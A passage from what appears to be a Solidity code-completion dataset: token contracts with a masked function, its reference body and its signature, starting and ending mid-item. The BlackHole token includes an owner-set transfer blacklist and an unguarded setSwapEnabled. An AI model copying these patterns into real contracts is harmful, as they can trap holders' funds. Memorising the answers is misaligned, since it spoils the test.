address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setSwapEnabled (bool enabled) external { swapEnabled = enabled; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
contract BlackHole is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10 ** 9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "HOLE"; string private constant _symbol = "BLACK HOLE"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } <FILL_FUNCTION> function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 9; _feeAddr2 = 3; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 9; _feeAddr2 = 3; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openSwapTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setSwapEnabled (bool enabled) external { swapEnabled = enabled; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
_feeAddrWallet1 = payable(0x60B819E42262Fe30a031635D88Fb4Ed540d33C5C); _feeAddrWallet2 = payable(0x27a368B843e82f24341e8F3Db4A3C2eA00D293A3); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D), _msgSender(), _tTotal);
constructor ()
constructor ()
43,662
DigiCred
setPriceInWei
contract DigiCred is StandardToken, Ownable { using SafeMath for uint256; uint256 public initialSupply = 500000000e8; uint256 public totalSupply = initialSupply; uint256 public buyPrice = 0.6666 * 10e6; string public symbol = "DCX"; string public name = "DigiCred"; uint8 public decimals = 8; address public owner; function DigiCred() { owner = msg.sender; balances[this] = totalSupply.div(20); balances[owner] = SafeMath.mul(totalSupply.div(20),19); } // Functions with this modifier can only be executed by the owner modifier onlyOwner() { if (msg.sender != owner) { revert(); } _; } function () payable { uint amount = msg.value.div(buyPrice); if (balances[this] < amount) revert(); balances[msg.sender] = balances[msg.sender].add(amount); balances[this] = balances[this].sub(amount); Transfer(this, msg.sender, amount); } function setPriceInWei(uint256 newBuyPrice) onlyOwner {<FILL_FUNCTION_BODY> } function pullTokens() onlyOwner { uint amount = balances[this]; balances[msg.sender] = balances[msg.sender].add(balances[this]); balances[this] = 0; Transfer(this, msg.sender, amount); } function sendEtherToOwner() onlyOwner { owner.transfer(this.balance); } function changeOwner(address _owner) onlyOwner { owner = _owner; } }
contract DigiCred is StandardToken, Ownable { using SafeMath for uint256; uint256 public initialSupply = 500000000e8; uint256 public totalSupply = initialSupply; uint256 public buyPrice = 0.6666 * 10e6; string public symbol = "DCX"; string public name = "DigiCred"; uint8 public decimals = 8; address public owner; function DigiCred() { owner = msg.sender; balances[this] = totalSupply.div(20); balances[owner] = SafeMath.mul(totalSupply.div(20),19); } // Functions with this modifier can only be executed by the owner modifier onlyOwner() { if (msg.sender != owner) { revert(); } _; } function () payable { uint amount = msg.value.div(buyPrice); if (balances[this] < amount) revert(); balances[msg.sender] = balances[msg.sender].add(amount); balances[this] = balances[this].sub(amount); Transfer(this, msg.sender, amount); } <FILL_FUNCTION> function pullTokens() onlyOwner { uint amount = balances[this]; balances[msg.sender] = balances[msg.sender].add(balances[this]); balances[this] = 0; Transfer(this, msg.sender, amount); } function sendEtherToOwner() onlyOwner { owner.transfer(this.balance); } function changeOwner(address _owner) onlyOwner { owner = _owner; } }
buyPrice = newBuyPrice.mul(10e8);
function setPriceInWei(uint256 newBuyPrice) onlyOwner
function setPriceInWei(uint256 newBuyPrice) onlyOwner
55,969
GuildOwnable
_transferOwnership
contract GuildOwnable { address internal __owner; address internal __backup; uint256 internal __lastOwnerUsage; uint256 internal __backupActivationWait; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event BackupTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(msg.sender); } function setBackupActivationWait(uint256 _backupActivationWait) public onlyOwner { __backupActivationWait = _backupActivationWait; _activity(); } function owner() public view returns (address) { return __owner; } function backupOwner() public view returns (address) { return __backup; } function isBackupActive() public view returns (bool) { if (__backup == address(0x0)) { return false; } if ((__lastOwnerUsage + __backupActivationWait) <= block.timestamp) { return true; } return false; } function isOwnerOrActiveBackup(address _addr) public view returns (bool) { return (_addr == owner() || (isBackupActive() && (_addr == backupOwner())) ); } modifier onlyOwnerOrActiveBackup() { require(isOwnerOrActiveBackup(msg.sender), "Ownable: caller is not owner or active backup"); _; } modifier onlyOwnerOrBackup() { require(msg.sender == __owner || msg.sender == __backup, "Ownable: caller is not owner or backup"); _; } modifier onlyOwner() { require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function transferBackup(address newBackup) public onlyOwnerOrBackup { if (newBackup == address(0)) { require(msg.sender == __owner, "Ownable: new backup is the zero address"); } _transferBackup(newBackup); } function _transferOwnership(address newOwner) internal {<FILL_FUNCTION_BODY> } function _transferBackup(address newBackup) internal { address oldBackup = __backup; __backup = newBackup; _activity(); emit BackupTransferred(oldBackup, newBackup); } function _activity() internal { if (msg.sender == __owner) { __lastOwnerUsage = block.timestamp; } } }
contract GuildOwnable { address internal __owner; address internal __backup; uint256 internal __lastOwnerUsage; uint256 internal __backupActivationWait; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); event BackupTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(msg.sender); } function setBackupActivationWait(uint256 _backupActivationWait) public onlyOwner { __backupActivationWait = _backupActivationWait; _activity(); } function owner() public view returns (address) { return __owner; } function backupOwner() public view returns (address) { return __backup; } function isBackupActive() public view returns (bool) { if (__backup == address(0x0)) { return false; } if ((__lastOwnerUsage + __backupActivationWait) <= block.timestamp) { return true; } return false; } function isOwnerOrActiveBackup(address _addr) public view returns (bool) { return (_addr == owner() || (isBackupActive() && (_addr == backupOwner())) ); } modifier onlyOwnerOrActiveBackup() { require(isOwnerOrActiveBackup(msg.sender), "Ownable: caller is not owner or active backup"); _; } modifier onlyOwnerOrBackup() { require(msg.sender == __owner || msg.sender == __backup, "Ownable: caller is not owner or backup"); _; } modifier onlyOwner() { require(owner() == msg.sender, "Ownable: caller is not the owner"); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function transferBackup(address newBackup) public onlyOwnerOrBackup { if (newBackup == address(0)) { require(msg.sender == __owner, "Ownable: new backup is the zero address"); } _transferBackup(newBackup); } <FILL_FUNCTION> function _transferBackup(address newBackup) internal { address oldBackup = __backup; __backup = newBackup; _activity(); emit BackupTransferred(oldBackup, newBackup); } function _activity() internal { if (msg.sender == __owner) { __lastOwnerUsage = block.timestamp; } } }
address oldOwner = __owner; __owner = newOwner; _activity(); emit OwnershipTransferred(oldOwner, newOwner);
function _transferOwnership(address newOwner) internal
function _transferOwnership(address newOwner) internal
74,727
IGSBCToken
freeze
contract IGSBCToken is UnboundedRegularToken { uint public totalSupply = 50*10**16; uint8 constant public decimals = 8; string constant public name = "Bit diamond"; string constant public symbol = "IGSBC"; address public owner; mapping (address => uint) public freezes; /* This notifies clients about the amount burnt */ event Burn(address indexed from, uint value); /* This notifies clients about the amount frozen */ event Freeze(address indexed from, uint value); /* This notifies clients about the amount unfrozen */ event Unfreeze(address indexed from, uint value); function IGSBCToken() public { balances[msg.sender] = totalSupply; owner = msg.sender; emit Transfer(address(0), msg.sender, totalSupply); } function totalSupply() public constant returns (uint){ return totalSupply; } function burn(uint _value) public returns (bool success) { if (balances[msg.sender] >= _value && totalSupply - _value <= totalSupply){ balances[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; emit Burn(msg.sender, _value); return true; }else { return false; } } function freeze(uint _value) public returns (bool success) {<FILL_FUNCTION_BODY> } function unfreeze(uint _value) public returns (bool success) { if (freezes[msg.sender] >= _value && balances[msg.sender] + _value >= balances[msg.sender]){ freezes[msg.sender] -= _value; balances[msg.sender] += _value; emit Unfreeze(msg.sender, _value); return true; }else { return false; } } function transferAndCall(address _to, uint _value, bytes _extraData) public returns (bool success) { if(transfer(_to,_value)){ TransferReceiver(_to).receiveTransfer(msg.sender, _value, this, _extraData); return true; } else { return false; } } function approveAndCall(address _spender, uint _value, bytes _extraData) public returns (bool success) { if(approve(_spender,_value)){ ApprovalReceiver(_spender).receiveApproval(msg.sender, _value, this, _extraData) ; return true; } else { return false; } } // transfer balance to owner function withdrawEther(uint amount) public { if(msg.sender == owner){ owner.transfer(amount); } } // can accept ether function() public payable { } }
contract IGSBCToken is UnboundedRegularToken { uint public totalSupply = 50*10**16; uint8 constant public decimals = 8; string constant public name = "Bit diamond"; string constant public symbol = "IGSBC"; address public owner; mapping (address => uint) public freezes; /* This notifies clients about the amount burnt */ event Burn(address indexed from, uint value); /* This notifies clients about the amount frozen */ event Freeze(address indexed from, uint value); /* This notifies clients about the amount unfrozen */ event Unfreeze(address indexed from, uint value); function IGSBCToken() public { balances[msg.sender] = totalSupply; owner = msg.sender; emit Transfer(address(0), msg.sender, totalSupply); } function totalSupply() public constant returns (uint){ return totalSupply; } function burn(uint _value) public returns (bool success) { if (balances[msg.sender] >= _value && totalSupply - _value <= totalSupply){ balances[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; emit Burn(msg.sender, _value); return true; }else { return false; } } <FILL_FUNCTION> function unfreeze(uint _value) public returns (bool success) { if (freezes[msg.sender] >= _value && balances[msg.sender] + _value >= balances[msg.sender]){ freezes[msg.sender] -= _value; balances[msg.sender] += _value; emit Unfreeze(msg.sender, _value); return true; }else { return false; } } function transferAndCall(address _to, uint _value, bytes _extraData) public returns (bool success) { if(transfer(_to,_value)){ TransferReceiver(_to).receiveTransfer(msg.sender, _value, this, _extraData); return true; } else { return false; } } function approveAndCall(address _spender, uint _value, bytes _extraData) public returns (bool success) { if(approve(_spender,_value)){ ApprovalReceiver(_spender).receiveApproval(msg.sender, _value, this, _extraData) ; return true; } else { return false; } } // transfer balance to owner function withdrawEther(uint amount) public { if(msg.sender == owner){ owner.transfer(amount); } } // can accept ether function() public payable { } }
if (balances[msg.sender] >= _value && freezes[msg.sender] + _value >= freezes[msg.sender]){ balances[msg.sender] -= _value; // Subtract from the sender freezes[msg.sender] += _value; // Updates totalSupply emit Freeze(msg.sender, _value); return true; }else { return false; }
function freeze(uint _value) public returns (bool success)
function freeze(uint _value) public returns (bool success)
15,081
Lock
teamLockTransfer
contract Lock is PausableToken{ mapping(address => uint256) public teamLockTime; // Lock start time mapping(address => uint256) public fundLockTime; // Lock start time uint256 public issueDate =0 ;//issueDate mapping(address => uint256) public teamLocked;// Total Team lock mapping(address => uint256) public fundLocked;// Total fund lock mapping(address => uint256) public teamUsed; // Team Used mapping(address => uint256) public fundUsed; // Fund Used mapping(address => uint256) public teamReverse; // Team reserve mapping(address => uint256) public fundReverse; // Fund reserve /** * @dev Calculate the number of Tokens available for teamAccount * @param _to teamAccount's address */ function teamAvailable(address _to) internal constant returns (uint256) { require(teamLockTime[_to]>0); //Cover the start time of the lock before the release is the issueDate if(teamLockTime[_to] != issueDate) { teamLockTime[_to]= issueDate; } uint256 now1 = block.timestamp; uint256 lockTime = teamLockTime[_to]; uint256 time = now1.sub(lockTime); uint256 percent = 0; if(time >= 30 days) { percent = (time.div(30 days)) .add(1); } percent = percent > 12 ? 12 : percent; uint256 avail = teamLocked[_to]; require(avail>0); avail = avail.mul(percent).div(12).sub(teamUsed[_to]); return avail ; } /** * @dev Get the number of Tokens available for the current account private placement * @param _to mainFundAccount's address **/ function fundAvailable(address _to) internal constant returns (uint256) { require(fundLockTime[_to]>0); //Cover the start time of the lock before the release is the issueDate if(fundLockTime[_to] != issueDate) { fundLockTime[_to]= issueDate; } //The start time of the lock position uint256 lockTime = fundLockTime[_to]; //The interval between the current time and the start time of the lockout uint256 time = block.timestamp.sub(lockTime); //Unlocked 25% uint256 percent = 250; //After more than 30 days, 75% of the minutes and 150 days of unlocking 5/1000 per day if(time >= 30 days) { percent = percent.add( (((time.sub(30 days)).div (1 days)).add (1)).mul (5)); } percent = percent > 1000 ? 1000 : percent; uint256 avail = fundLocked[_to]; require(avail>0); avail = avail.mul(percent).div(1000).sub(fundUsed[_to]); return avail ; } /** * @dev Team lock * @param _to team lock account's address * @param _value the number of Token */ function teamLock(address _to,uint256 _value) internal { require(_value>0); teamLocked[_to] = teamLocked[_to].add(_value); teamReverse[_to] = teamReverse[_to].add(_value); teamLockTime[_to] = block.timestamp; // Lock start time } /** * @dev Privately offered fund lock * @param _to Privately offered fund account's address * @param _value the number of Token */ function fundLock(address _to,uint256 _value) internal { require(_value>0); fundLocked[_to] =fundLocked[_to].add(_value); fundReverse[_to] = fundReverse[_to].add(_value); if(fundLockTime[_to] == 0) fundLockTime[_to] = block.timestamp; // Lock start time } /** * @dev Team account transaction * @param _to The accept token address * @param _value Number of transactions */ function teamLockTransfer(address _to, uint256 _value) internal returns (bool) {<FILL_FUNCTION_BODY> } /** * @dev Team account authorization transaction * @param _from The give token address * @param _to The accept token address * @param _value Number of transactions */ function teamLockTransferFrom(address _from,address _to, uint256 _value) internal returns (bool) { //The remaining part uint256 availReverse = balances[_from].sub((teamLocked[_from].sub(teamUsed[_from]))+(fundLocked[_from].sub(fundUsed[_from]))); uint256 totalAvail=0; uint256 availTeam =0; if(issueDate==0) { totalAvail = availReverse; } else{ //the number of Tokens available for teamAccount'Locked part availTeam = teamAvailable(_from); //the number of Tokens available for teamAccount totalAvail = availTeam.add(availReverse); } require(_value <= totalAvail); bool ret = super.transferFrom(_from,_to,_value); if(ret == true && issueDate>0) { //If over the teamAccount's released part if(_value > availTeam){ teamUsed[_from] = teamUsed[_from].add(availTeam); teamReverse[_from] = teamReverse[_from].sub(availTeam); } //If in the teamAccount's released part else{ teamUsed[_from] = teamUsed[_from].add(_value); teamReverse[_from] = teamReverse[_from].sub(_value); } } if(teamUsed[_from] >= teamLocked[_from]){ delete teamLockTime[_from]; delete teamReverse[_from]; } return ret; } /** * @dev Privately Offered Fund Transfer Token * @param _to The accept token address * @param _value Number of transactions */ function fundLockTransfer(address _to, uint256 _value) internal returns (bool) { //The remaining part uint256 availReverse = balances[msg.sender].sub((teamLocked[msg.sender].sub(teamUsed[msg.sender]))+(fundLocked[msg.sender].sub(fundUsed[msg.sender]))); uint256 totalAvail=0; uint256 availFund = 0; if(issueDate==0) { totalAvail = availReverse; } else{ require(now>issueDate); //the number of Tokens available for mainFundAccount'Locked part availFund = fundAvailable(msg.sender); //the number of Tokens available for mainFundAccount totalAvail = availFund.add(availReverse); } require(_value <= totalAvail); bool ret = super.transfer(_to,_value); if(ret == true && issueDate>0) { //If over the mainFundAccount's released part if(_value > availFund){ fundUsed[msg.sender] = fundUsed[msg.sender].add(availFund); fundReverse[msg.sender] = fundReverse[msg.sender].sub(availFund); } //If in the mainFundAccount's released part else{ fundUsed[msg.sender] = fundUsed[msg.sender].add(_value); fundReverse[msg.sender] = fundReverse[msg.sender].sub(_value); } } if(fundUsed[msg.sender] >= fundLocked[msg.sender]){ delete fundLockTime[msg.sender]; delete fundReverse[msg.sender]; } return ret; } /** * @dev Privately Offered Fund Transfer Token * @param _from The give token address * @param _to The accept token address * @param _value Number of transactions */ function fundLockTransferFrom(address _from,address _to, uint256 _value) internal returns (bool) { //The remaining part uint256 availReverse = balances[_from].sub((teamLocked[_from].sub(teamUsed[_from]))+(fundLocked[_from].sub(fundUsed[_from]))); uint256 totalAvail=0; uint256 availFund = 0; if(issueDate==0) { totalAvail = availReverse; } else{ require(now>issueDate); //the number of Tokens available for mainFundAccount'Locked part availFund = fundAvailable(_from); //the number of Tokens available for mainFundAccount totalAvail = availFund.add(availReverse); } require(_value <= totalAvail); bool ret = super.transferFrom(_from,_to,_value); if(ret == true && issueDate>0) { //If over the mainFundAccount's released part if(_value > availFund){ fundUsed[_from] = fundUsed[_from].add(availFund); fundReverse[_from] = fundReverse[_from].sub(availFund); } //If in the mainFundAccount's released part else{ fundUsed[_from] = fundUsed[_from].add(_value); fundReverse[_from] = fundReverse[_from].sub(_value); } } if(fundUsed[_from] >= fundLocked[_from]){ delete fundLockTime[_from]; } return ret; } }
contract Lock is PausableToken{ mapping(address => uint256) public teamLockTime; // Lock start time mapping(address => uint256) public fundLockTime; // Lock start time uint256 public issueDate =0 ;//issueDate mapping(address => uint256) public teamLocked;// Total Team lock mapping(address => uint256) public fundLocked;// Total fund lock mapping(address => uint256) public teamUsed; // Team Used mapping(address => uint256) public fundUsed; // Fund Used mapping(address => uint256) public teamReverse; // Team reserve mapping(address => uint256) public fundReverse; // Fund reserve /** * @dev Calculate the number of Tokens available for teamAccount * @param _to teamAccount's address */ function teamAvailable(address _to) internal constant returns (uint256) { require(teamLockTime[_to]>0); //Cover the start time of the lock before the release is the issueDate if(teamLockTime[_to] != issueDate) { teamLockTime[_to]= issueDate; } uint256 now1 = block.timestamp; uint256 lockTime = teamLockTime[_to]; uint256 time = now1.sub(lockTime); uint256 percent = 0; if(time >= 30 days) { percent = (time.div(30 days)) .add(1); } percent = percent > 12 ? 12 : percent; uint256 avail = teamLocked[_to]; require(avail>0); avail = avail.mul(percent).div(12).sub(teamUsed[_to]); return avail ; } /** * @dev Get the number of Tokens available for the current account private placement * @param _to mainFundAccount's address **/ function fundAvailable(address _to) internal constant returns (uint256) { require(fundLockTime[_to]>0); //Cover the start time of the lock before the release is the issueDate if(fundLockTime[_to] != issueDate) { fundLockTime[_to]= issueDate; } //The start time of the lock position uint256 lockTime = fundLockTime[_to]; //The interval between the current time and the start time of the lockout uint256 time = block.timestamp.sub(lockTime); //Unlocked 25% uint256 percent = 250; //After more than 30 days, 75% of the minutes and 150 days of unlocking 5/1000 per day if(time >= 30 days) { percent = percent.add( (((time.sub(30 days)).div (1 days)).add (1)).mul (5)); } percent = percent > 1000 ? 1000 : percent; uint256 avail = fundLocked[_to]; require(avail>0); avail = avail.mul(percent).div(1000).sub(fundUsed[_to]); return avail ; } /** * @dev Team lock * @param _to team lock account's address * @param _value the number of Token */ function teamLock(address _to,uint256 _value) internal { require(_value>0); teamLocked[_to] = teamLocked[_to].add(_value); teamReverse[_to] = teamReverse[_to].add(_value); teamLockTime[_to] = block.timestamp; // Lock start time } /** * @dev Privately offered fund lock * @param _to Privately offered fund account's address * @param _value the number of Token */ function fundLock(address _to,uint256 _value) internal { require(_value>0); fundLocked[_to] =fundLocked[_to].add(_value); fundReverse[_to] = fundReverse[_to].add(_value); if(fundLockTime[_to] == 0) fundLockTime[_to] = block.timestamp; // Lock start time } <FILL_FUNCTION> /** * @dev Team account authorization transaction * @param _from The give token address * @param _to The accept token address * @param _value Number of transactions */ function teamLockTransferFrom(address _from,address _to, uint256 _value) internal returns (bool) { //The remaining part uint256 availReverse = balances[_from].sub((teamLocked[_from].sub(teamUsed[_from]))+(fundLocked[_from].sub(fundUsed[_from]))); uint256 totalAvail=0; uint256 availTeam =0; if(issueDate==0) { totalAvail = availReverse; } else{ //the number of Tokens available for teamAccount'Locked part availTeam = teamAvailable(_from); //the number of Tokens available for teamAccount totalAvail = availTeam.add(availReverse); } require(_value <= totalAvail); bool ret = super.transferFrom(_from,_to,_value); if(ret == true && issueDate>0) { //If over the teamAccount's released part if(_value > availTeam){ teamUsed[_from] = teamUsed[_from].add(availTeam); teamReverse[_from] = teamReverse[_from].sub(availTeam); } //If in the teamAccount's released part else{ teamUsed[_from] = teamUsed[_from].add(_value); teamReverse[_from] = teamReverse[_from].sub(_value); } } if(teamUsed[_from] >= teamLocked[_from]){ delete teamLockTime[_from]; delete teamReverse[_from]; } return ret; } /** * @dev Privately Offered Fund Transfer Token * @param _to The accept token address * @param _value Number of transactions */ function fundLockTransfer(address _to, uint256 _value) internal returns (bool) { //The remaining part uint256 availReverse = balances[msg.sender].sub((teamLocked[msg.sender].sub(teamUsed[msg.sender]))+(fundLocked[msg.sender].sub(fundUsed[msg.sender]))); uint256 totalAvail=0; uint256 availFund = 0; if(issueDate==0) { totalAvail = availReverse; } else{ require(now>issueDate); //the number of Tokens available for mainFundAccount'Locked part availFund = fundAvailable(msg.sender); //the number of Tokens available for mainFundAccount totalAvail = availFund.add(availReverse); } require(_value <= totalAvail); bool ret = super.transfer(_to,_value); if(ret == true && issueDate>0) { //If over the mainFundAccount's released part if(_value > availFund){ fundUsed[msg.sender] = fundUsed[msg.sender].add(availFund); fundReverse[msg.sender] = fundReverse[msg.sender].sub(availFund); } //If in the mainFundAccount's released part else{ fundUsed[msg.sender] = fundUsed[msg.sender].add(_value); fundReverse[msg.sender] = 